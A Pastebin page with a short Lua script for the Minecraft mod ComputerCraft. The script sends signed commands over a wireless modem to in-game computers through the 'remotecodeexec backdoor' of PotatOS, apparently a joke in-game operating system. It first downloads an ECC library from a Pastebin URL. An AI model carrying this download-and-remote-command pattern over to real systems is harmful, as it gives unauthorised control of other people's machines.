Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- For using the remotecodeexec backdoor of PotatOS
- local function a(b,c)local d=fs.open(b,"w")d.write(c)d.close()end;local function e(b)local d=fs.open(b,"r")local c=d.readAll()d.close()return c end;local function f(g)local h=http.get(g)local c=h.readAll()h.close()return c end;local function i(g,d)a(d,f(g))end;i("https://pastebin.com/raw/Sc0DU3rA","ecc.lua")
- local m = peripheral.find("modem", function(_, modem) return modem.isWireless() end)
- local ecc = require "./ecc"
- local t = ecc "ecc"
- m.open(636)
- m.open(858)
- local pub,priv
- if not fs.exists("/.potato_rds_priv") then
- pub,priv = t.keypair()
- local f
- f = fs.open("/.potato_rds_priv", "w")
- f.write(textutils.serialize(priv))
- f.close()
- f = fs.open("/.potato_rds_pub", "w") --this is the file you want to bundle with potatos
- f.write(textutils.serialize(pub))
- f.close()
- else
- local f
- f = fs.open("/.potato_rds_priv", "r")
- priv = textutils.unserialize(f.readAll())
- f.close()
- pub = t.publicKey(priv)
- end
- parallel.waitForAll(function()
- while true do
- local _, _, sc, rc, msg = os.pullEvent "modem_message"
- if sc == 858 then
- print(textutils.serialise(msg))
- end
- end
- end, function()
- local history = {}
- while true do
- write "|> "
- local input = read(nil, history)
- table.insert(history, input)
- m.transmit(636, 858, {
- data = input,
- signature = t.sign(priv, input)
- })
- end
- end)
Add Comment
Please, Sign In to add comment